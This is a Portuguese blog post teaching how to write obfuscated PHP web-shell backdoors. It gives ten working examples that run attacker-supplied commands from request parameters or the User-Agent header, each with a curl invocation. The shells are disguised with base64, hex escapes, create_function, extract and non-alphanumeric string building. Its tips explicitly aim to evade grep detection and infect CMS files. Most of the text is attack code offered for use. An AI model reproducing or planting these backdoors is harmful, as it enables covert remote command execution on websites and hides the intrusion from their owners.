Esse pequeno post é focado em uma das diferentes técnicas que venho estudando no PHP, mas direcionando no quesito de variação de código para backdoor web.
O cenário de uso dos exemplos abaixo é um pensamento fora da caixa, dando exit() no básico usado em muitos códigos backdoor.
Foquei nas variáveis globais GET ,POST ,REQUEST.
O cenário de uso dos exemplos abaixo é um pensamento fora da caixa, dando exit() no básico usado em muitos códigos backdoor.
Foquei nas variáveis globais GET ,POST ,REQUEST.
As functions mais usadas:
(PHP 4, PHP 5, PHP 7)
shell_exec — Executa um comando via shell e retorna a saída inteira como uma string
string shell_exec ( string $cmd )
EXEC-> php -r 'shell_exec("ls -la");'
(PHP 4, PHP 5, PHP 7)
system — Executa um programa externo e mostra a saída
string system ( string $command [, int &$return_var ] )
EXEC-> php -r 'system("ls -la");'
(PHP 4, PHP 5, PHP 7)
exec — Executa um programa externo
string exec ( string $command [, array &$output [, int &$return_var ]] )
EXEC-> php -r 'exec("ls -la",$var);print_r($var);'
(PHP 4, PHP 5, PHP 7)
passthru — Executa um programa externo e mostra a saída crua
void passthru ( string $command [, int &$return_var ] )
EXEC-> php -r 'passthru("ls -la",$var);'
Implementação simples:
shell_exec:
if(isset($_REQUEST['cmd'])) { $cmd=shell_exec($_REQUEST['cmd']);
print_r($cmd);}
system:
if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); }
exec:
if(isset($_REQUEST['cmd'])) { exec($_REQUEST['cmd']); }
passthru:
if(isset($_REQUEST['cmd'])) { passthru($_REQUEST['cmd']); }
Podemos usar as mesmas functions, porem de forma elaborada evitando que um simples grep -E revele nosso acesso.
DICAS:
- Uso de shellcode em valores fixos;
- Array é vida! use sem moderação;
- Concatenação de functions nativas & definição de variáveis.
- base64_decode - encode(data) , bin2hex , error_reporting(0)
- Use requests (get or post) que já existam no sistema;
- Estude a criação de propriedades maliciosas em class’s do sistema, crie suas functions;
- Manuseio de valores da variável global $_SERVER;
- Estude métodos de infeção para arquivos CMS’s feitos em PHP;
Vamos para os exemplos
EXEMPLO 01
Functions:
Variáveis: c3lzdGVt=system ,dW5hbWUgLWE7bHM7=uname -a;ls; ,aWQ==id
CODE:
EXEMPLO 02
Functions:
Functions:
Variáveis: c3lzdGVt=system ,dW5hbWUgLWE7bHM7=uname -a;ls; ,aWQ==id
CODE:
(error_reporting(0).($__=@base64_decode("c3lzdGVt")).$__(base64_decode("aWQ="))
.define("_","dW5hbWUgLWE7bHM7").$__(base64_decode(_)).exit);
Execução: curl -v 'http://localhost/shell.php'Functions:
CODE:
(error_reporting(0).($__=@base64_decode("c3lzdGVt"))
.print($__(isset($_REQUEST[0])?$_REQUEST[0]:NULL)).exit);
Execução: curl -v 'http://localhost/shell.php?0=id'
EXEMPLO 03Functions:
- ERROR_REPORTING
- BASE64_DECODE
- CREATE_FUNCTION - Cria uma função anônima (lambda-style)
- SHELL_EXEC
- EXIT
CODE:
(error_reporting(0)).($_=$_REQUEST[0])
.($__=@create_function('$_',base64_decode("ZWNobyhzaGVsbF9leGVjKCRfKSk7"))).($__($_).exit);
Execução: curl -v 'http://localhost/shell.php?0=id'
EXEMPLO 04
Functions:
Variáveis: $_GET[1]=Nome da function, $_GET[2]=comando que será executado
CODE:
(error_reporting(0).($_=@$_GET[1]).($_($_GET[2])).exit);
Execução: curl -v 'http://localhost/shell.php?1=system&2=id;uname'
EXEMPLO 05
Functions:
Variáveis: $_REQUEST[1]=Nome da function, $_REQUEST[2]=comando que será executado CODE:
(error_reporting(0)).(extract($_REQUEST, EXTR_PREFIX_ALL))
.($_=@get_defined_vars()['_REQUEST']).(define('_',$_[2])).(($_[1](_))).exit;
Execução: curl -v 'http://localhost/shell.php?1=system&2=id;uname'
EXEMPLO 06
Functions:
Variáveis: SFRUUF9VU0VSX0FHRU5U=HTTP_USER_AGENT
CODE:
(error_reporting(0)).($_=@explode(',',$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]))
.($_[0]("{$_[1]}")).exit;
Execução: curl -v 'http://localhost/shell.php' --user-agent 'system,id;ls -la'
EXEMPLO 07
Functions:
Variáveis: \x30=0, \x73=s, \x79=y , \x73=s, \x74=t, \x65=e, \x6D=m
CODE:
(error_reporting(0)).($_[0][]=@$_GET["\x30"])
.($_[1][] = "\x73").($_[1][] = "\x79").($_[1][] = "\x73")
.($_[1][] = "\x74").($_[1][] = "\x65").($_[1][] = "\x6D")
.($__=@get_defined_vars()['_'][1]).($___.=$__[0])
.($___.=$__[1]).($___.=$__[2]).($___.=$__[3])
.($___.=$__[4]).($___.=$__[5]).(($___("{$_[0][0]}")).exit);
Execução: curl -v 'http://localhost/shell.php?0=id;uname%20-a'
EXEMPLO 08
Functions:
Variáveis: $_REQUEST[0]=Comando que será executado
CODE:
(error_reporting(0)).(str_replace(['$','@','#'],'','s$##y@#$@#$@#$@s$#$@#$@#$@$te$#@#$m')).($_("{$_REQUEST[0]}"));
Execução: curl -v 'http://localhost/shell.php?0=id
EXEMPLO 09
Functions:
Variáveis: $_POST['shellrox']=Comando que será executado
CODE:
(error_reporting(0)).($_=[("\x73\x79").("\x73")
.("\x74\x65\x6d"),"\x73\x68\x65\x6c","\x6c\x72\x6f\x78"])
.($_[0]($_POST[$_[1].$_[2]]));
Execução: curl -d "shellrox=id;uname -a" -X POST 'http://localhost/shell.php'
EXEMPLO 10 Functions:
CODE:
$_=""; # we need a blank string to start
$_[+$_]++; # access part of the string to convert to an array
$_=$_.""; # convert the array into a string of "Array"
$_=$_[+""]; # access the 0 index of the string "Array" which is "A"
# INCREMENTANDO VALORES PARA ACHAR AS LETRAS
# NO CASO QUERO MONTAR A STRING SYSTEM
($_++); #A
($_++); #B
($_++); #C
($_++); #D
# PRIMEIRA LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO
($___[]=$_++);#E
($_++); #F
($_++); #G
($_++); #H
($_++); #I
($_++); #J
($_++); #K
($_++); #L
# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO
($___[]=$_++);#M
($_++); #N
($_++); #O
($_++); #P
($_++); #Q
($_++); #R
# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO
($___[]=$_++);#S
# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO
($___[]=$_++);#T
($_++); #U
($_++); #V
($_++); #W
($_++); #X
# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO
($___[]=$_++);#Y
($_++);#Z
# DEBUG DO ARRAY:
/* Array
(
[0] => E
[1] => M
[2] => S
[3] => T
[4] => Y
)
*/
# MONTAR STRING COM OS CAMPOS DO ARRAY $___
$_____=$___[2].$___[4].$___[2].$___[3].$___[0].$___[1];
# USANDO TÉCNICA DE FUNCTION ANONIMA PARA EXECUÇÃO
$_____('id;uname -a');
VERSÃO MINIMALISTA:
($_="").($_[+$_]++).($_=$_."").($_=$_[+""]).($_++)
.($_++).($_++).($_++).($___[]=$_++).($_++).($_++)
.($_++).($_++).($_++).($_++).($_++).($___[]=$_++)
.($_++).($_++).($_++).($_++).($_++).($___[]=$_++)
.($___[]=$_++).($_++).($_++).($_++).($_++)
.($___[]=$_++).($_++)
.($_____=$___[2].$___[4].$___[2].$___[3].$___[0].$___[1])
.($_____('id;uname -a'));
Execução: curl -v 'http://localhost/shell.php'
Observação: Existem outras milhares de técnicas, e tentarei fazer outros posts sobre.
Referências
- http://php.net/manual/en/language.operators.execution.php#language.operators.execution
- https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell
- http://www.businessinfo.co.uk/labs/talk/Nonalpha.pdf
- http://php.net/manual/pt_BR/function.create-function.php
- https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
- http://web.archive.org/web/20120427221212/http://h.ackack.net/tiny-php-shell.html
- http://php.net/manual/pt_BR/function.extract.php
- http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
- https://www.akamai.com/cn/zh/multimedia/documents/report/akamai-security-advisory-web-shells-backdoor-trojans-and-rats.pdf
- https://aw-snap.info/articles/backdoor-examples.php
- http://php.net/manual/pt_BR/reserved.variables.server.php
- http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
- https://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
- http://php.net/manual/en/functions.variable-functions.php
- http://php.net/manual/pt_BR/function.exec.php
- http://php.net/manual/pt_BR/function.shell-exec.php
- http://php.net/manual/pt_BR/function.system.php
- http://php.net/manual/pt_BR/function.passthru.php
- http://php.net/manual/pt_BR/function.get-defined-vars.php
- http://php.net/manual/pt_BR/function.extract.php
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